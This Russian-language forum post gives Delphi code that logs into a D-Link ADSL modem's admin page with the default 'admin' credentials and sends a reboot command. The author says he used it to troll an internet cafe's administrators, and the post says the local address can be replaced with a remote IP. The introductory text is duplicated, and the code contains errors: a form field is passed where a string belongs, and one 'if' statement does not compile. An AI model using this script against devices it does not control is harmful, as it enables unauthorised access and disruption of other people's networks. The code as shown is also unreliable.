MODERN
Участник
- Сообщения
- 756
- Реакции
- 130
Данный пример показывает, как можно перезагрузить модем марки D-Link.
С помощью подобной штуки я долго троллил админов в местном интернет-кафе
Указание.
На форме расположите компоненты IdHTTPClient (находится на вкладке IndyClients), IdCookieManager иIdAntiFreeze (на вкладке IndyMisc), а также два контрола Edit и две кнопки.
Один из Edit-ов переименуем в Username, второй - в Password. По нажатию Button1 мы залогиниваемся на странице конфигурации модема, по нажатию второй кнопки - перезагружаем его. По умолчанию почти во всех модемах пароль и логин - слово "admin". Вместо 192.168.1.1 можно подставить адрес удаленного компьютера (IP), если он вам известен, однако такое развлечение может повлечь санкции со стороны провайдера - не стоит экспериментировать и искать приключения на свою попку.
С помощью подобной штуки я долго троллил админов в местном интернет-кафе
Указание.
На форме расположите компоненты IdHTTPClient (находится на вкладке IndyClients), IdCookieManager иIdAntiFreeze (на вкладке IndyMisc), а также два контрола Edit и две кнопки.
Один из Edit-ов переименуем в Username, второй - в Password. По нажатию Button1 мы залогиниваемся на странице конфигурации модема, по нажатию второй кнопки - перезагружаем его. По умолчанию почти во всех модемах пароль и логин - слово "admin". Вместо 192.168.1.1 можно подставить адрес удаленного компьютера (IP), если он вам известен, однако такое развлечение может повлечь санкции со стороны провайдера - не стоит экспериментировать и искать приключения на свою попку.
Код:
Unit Unit1;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls, IdCookieManager, IdAntiFreezeBase, IdAntiFreeze,
IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient, IdHTTP,IdUri;
type
TForm1 = class(TForm)
IdHTTP1: TIdHTTP;
IdAntiFreeze1: TIdAntiFreeze;
IdCookieManager1: TIdCookieManager;
Button1: TButton;
username: TEdit;
password: TEdit;
Button2: TButton;
procedure Button1Click(Sender: TObject);
procedure FormCreate(Sender: TObject);
procedure Button2Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
autorized:boolean;
implementation
{$R *.dfm}
procedure TForm1.Button1Click(Sender: TObject);
{Авторизация. Работает данный код только на модемах ADSL D-Link}
var
postdata,urilist:tstringlist;
URI:tiduri;
temp:string;
requeststr:string;
login,passw:string;
begin
login:=trim(username.Text);
passw:=trim(password.Text);
if (trim(login)='') or (trim(passw)='') then abort;
autorized:=false;
postdata:=tstringlist.Create;
urilist:=tstringlist.Create;
requeststr:='http://192.168.1.1/index.cgi';
uri:=tiduri.Create(requeststr);
try
postdata.Add('v2=y');
postdata.Add('rs_type=html');
postdata.Add(format('A1=%s',[login]));
postdata.Add(format('A2=%s',[password]));
postdata.Add('auth=auth');
urilist.Add('cookie_lang=rus');
urilist.Add(format('client_login=%s',[login]));
urilist.Add(format('client_password=%s',[passw]));
try
idhttp1.Get(requeststr);
except
idhttp1.Disconnect;
caption:='Error';
end;
idhttp1.Request.Host:='192.168.1.1';
idhttp1.Request.Referer:='http://192.168.1.1/';
idhttp1.CookieManager.AddServerCookies(urilist,uri);
try
temp:=idhttp1.post(requeststr,postdata);
except
idhttp1.Disconnect;
caption:='Error';
end;
if pos('type="password" maxlength="30"',temp) begin
autorized:=true;
caption:='Success'
end
else
caption:='Unautorized';
finally
urilist.Free;
postdata.Free;
end;
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
autorized:=false;
with idhttp1 do
begin
handleredirects:=true;
readtimeout:=10000;
connectiontimeout:=10000;
end;
end;
procedure TForm1.Button2Click(Sender: TObject);
begin
//перезагрузка модема...
if autorized then
idhttp1.get('/index.cgi?res_cmd=6&res_buf=null&res_cmd_type=nbl&v2=y&rq=y');
end;
end.